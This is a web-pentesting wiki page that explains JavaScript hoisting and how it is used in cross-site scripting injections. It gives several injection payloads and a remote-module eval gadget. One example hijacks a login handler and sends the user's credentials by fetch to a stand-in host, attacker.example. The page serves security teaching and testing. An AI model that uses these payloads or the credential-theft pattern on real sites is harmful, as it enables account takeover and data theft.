js-hoisting.md (8866B)
1 --- 2 title: "JS Hoisting" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/xss-cross-site-scripting/js-hoisting.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # JS Hoisting 14 15 ## Basic Information 16 17 **Hoisting** is a common shorthand for the observable behavior by which JavaScript bindings are created during scope instantiation before evaluation reaches their declaration. The source text is not literally moved, and the behavior differs for function declarations, `var`, lexical declarations (`let`, `const`, and `class`), and static imports.<sup>[[2]](#references)</sup> 18 19 The engine parses a script or module before evaluating it and creates its bindings as part of declaration instantiation. A syntax error prevents evaluation entirely; hoisting gadgets instead help with **runtime** failures such as an otherwise undeclared identifier. 20 21 It is crucial to understand that: 22 23 1. The script must be free of syntax errors for execution to occur. Syntax rules must be strictly adhered to. 24 2. The placement of code within the script affects execution due to hoisting, although the executed code might differ from its textual representation. 25 26 #### Types of Hoisting 27 28 Based on the information from MDN, there are four distinct types of hoisting in JavaScript:<sup>[[2]](#references)</sup> 29 30 1. **Value Hoisting**: Enables the use of a variable's value within its scope before its declaration line. 31 2. **Declaration Hoisting**: Allows referencing a variable within its scope before its declaration without causing a `ReferenceError`, but the variable's value will be `undefined`. 32 3. This type alters the behavior within its scope due to the variable's declaration before its actual declaration line. 33 4. The declaration's side effects occur before the rest of the code containing it is evaluated. 34 35 In detail, function declarations exhibit type 1 hoisting behavior. The `var` keyword demonstrates type 2 behavior. Lexical declarations, which include `let`, `const`, and `class`, show type 3 behavior. Lastly, `import` statements are unique in that they are hoisted with both type 1 and type 4 behaviors. 36 37 ## Scenarios 38 39 Therefore, if you can inject JavaScript after code that uses an undeclared identifier, a hoisted declaration can prevent the early `ReferenceError` and allow the injected expression to execute:<sup>[[1]](#references)</sup> 40 41 ```javascript 42 // The function vulnerableFunction is not defined 43 vulnerableFunction('test', '<INJECTION>'); 44 // You can define it in your injection to execute JS 45 //Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b 46 '-alert(1)-''); function vulnerableFunction(a,b){return 1}; 47 48 //Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1) 49 test'); function vulnerableFunction(a,b){ return 1 };alert(1) 50 ``` 51 52 ```javascript 53 // If a variable is not defined, you could define it in the injection 54 // In the following example var a is not defined 55 function myFunction(a,b){ 56 return 1 57 }; 58 myFunction(a, '<INJECTION>') 59 60 //Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b 61 test'); var a = 1; alert(1); 62 ``` 63 64 ```javascript 65 // If an undeclared class is used, you cannot declare it AFTER being used 66 var variable = new unexploitableClass(); 67 <INJECTION> 68 // But you can actually declare it as a function, being able to fix the syntax with something like: 69 function unexploitableClass() { 70 return 1; 71 } 72 alert(1); 73 ``` 74 75 ```javascript 76 // Properties are not hoisted 77 // So the following examples where the 'cookie' attribute doesn´t exist 78 // cannot be fixed if you can only inject after that code: 79 test.cookie("leo", "INJECTION") 80 test[("cookie", "injection")] 81 ``` 82 83 ## More Scenarios 84 85 ```javascript 86 // Undeclared var accessing to an undeclared method 87 x.y(1,INJECTION) 88 // You can inject 89 alert(1));function x(){}// 90 // And execute the allert with (the alert is resolved before it's detected that the "y" is undefined 91 x.y(1,alert(1));function x(){}//) 92 ``` 93 94 ```javascript 95 // Undeclared var accessing 2 nested undeclared method 96 x.y.z(1,INJECTION) 97 // You can inject 98 ");import {x} from "https://example.com/module.js"// 99 // It will be executed 100 x.y.z("alert(1)");import {x} from "https://example.com/module.js"//") 101 102 103 // The imported module: 104 // module.js 105 var x = { 106 y: { 107 z: function(param) { 108 eval(param); 109 } 110 } 111 }; 112 113 export { x }; 114 ``` 115 116 ```javascript 117 // In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/ 118 // It was injected the: let config;`-alert(1)`//` 119 // With the goal of making in the block the var config be empty, so the return is not executed 120 // And the same injection was replicated in the body URL to execute an alert 121 122 try { 123 if (config) { 124 return 125 } 126 // TODO handle missing config for: https://try-to-catch.glitch.me/"+` 127 let config 128 ;`-alert(1)` //`+" 129 } catch { 130 fetch("/error", { 131 method: "POST", 132 body: { 133 url: 134 "https://try-to-catch.glitch.me/" + 135 ` 136 let config;` - 137 alert(1) - 138 `//` + 139 "", 140 }, 141 }) 142 } 143 trigger() 144 ``` 145 146 <sup>[[3]](#references)</sup> 147 148 ### Hoisting to bypass exception handling 149 150 When the sink is wrapped in a `try { x.y(...) } catch { ... }`, **ReferenceError** will stop execution before your payload runs. You can pre-declare the missing identifier so the call survives and your injected expression executes first: 151 152 ```javascript 153 // Original sink (x and y are undefined, but you control INJECT) 154 x.y(1,INJECT) 155 156 // Payload (ch4n3 2023) – hoist x so the call is parsed; use the first argument position for code exec 157 prompt()) ; function x(){} // 158 ``` 159 160 `function x(){}` is hoisted before evaluation, so the parser no longer throws on `x.y(...)`; `prompt()` executes before `y` is resolved, then a `TypeError` is thrown after your code has run.<sup>[[5]](#references)</sup> 161 162 ### Preempt later declarations by locking a name with const 163 164 If you can execute before a top-level `function foo(){...}` is parsed, declaring a lexical binding with the same name (e.g., `const foo = ...`) will prevent the later function declaration from rebinding that identifier. This can be abused in RXSS to hijack critical handlers defined later in the page:<sup>[[4]](#references)</sup> 165 166 ```javascript 167 // Malicious code runs first (e.g., earlier inline <script>) 168 const DoLogin = () => { 169 const pwd = Trim(FormInput.InputPassword.value) 170 const user = Trim(FormInput.InputUtente.value) 171 fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd)) 172 } 173 174 // Later, the legitimate page tries to declare: 175 function DoLogin(){ /* ... */ } // cannot override the existing const binding 176 ``` 177 178 Notes 179 - This relies on execution order and global (top-level) scope. 180 - If your payload is executed inside `eval()`, remember that `const/let` inside `eval` are block-scoped and won’t create global bindings. Inject a new `<script>` element with the code to establish a true global `const`. 181 182 ### Related import-time code execution (not a hoisting primitive) 183 184 Server-side rendered applications sometimes forward input into dynamic `import()` to lazy-load components. Dynamic `import()` is evaluated where the expression executes—it is **not hoisted** like a static import declaration. However, vulnerable instrumentation such as old `import-in-the-middle` releases generated wrapper modules from an insufficiently validated specifier, creating a separate path-traversal/RCE risk tracked as CVE-2023-38704.<sup>[[7]](#references)</sup> 185 186 ### Tooling 187 188 Modern scanners started to add explicit hoisting payloads. **KNOXSS v3.6.5** lists "JS Injection with Single Quotes Fixing ReferenceError - Object Hoisting" and "Hoisting Override" test cases; running it against RXSS contexts that throw `ReferenceError`/`TypeError` quickly surfaces hoist-based gadget candidates.<sup>[[6]](#references)</sup> 189 190 ## References 191 192 - [1] [JavaScript Hoisting in XSS Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios) 193 - [2] [MDN – Hoisting (Glossary)](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting) 194 - [3] [Having some fun with JavaScript hoisting](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/) 195 - [4] [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html) 196 - [5] [XSS Exception Bypass using Hoisting (ch4n3, 2023)](https://new-blog.ch4n3.kr/xss-exception-bypass-using-hoisting/) 197 - [6] [KNOXSS coverage – hoisting override cases](https://knoxss.pro/?page_id=766) 198 - [7] [NVD – CVE-2023-38704 (import-in-the-middle RCE)](https://nvd.nist.gov/vuln/detail/CVE-2023-38704)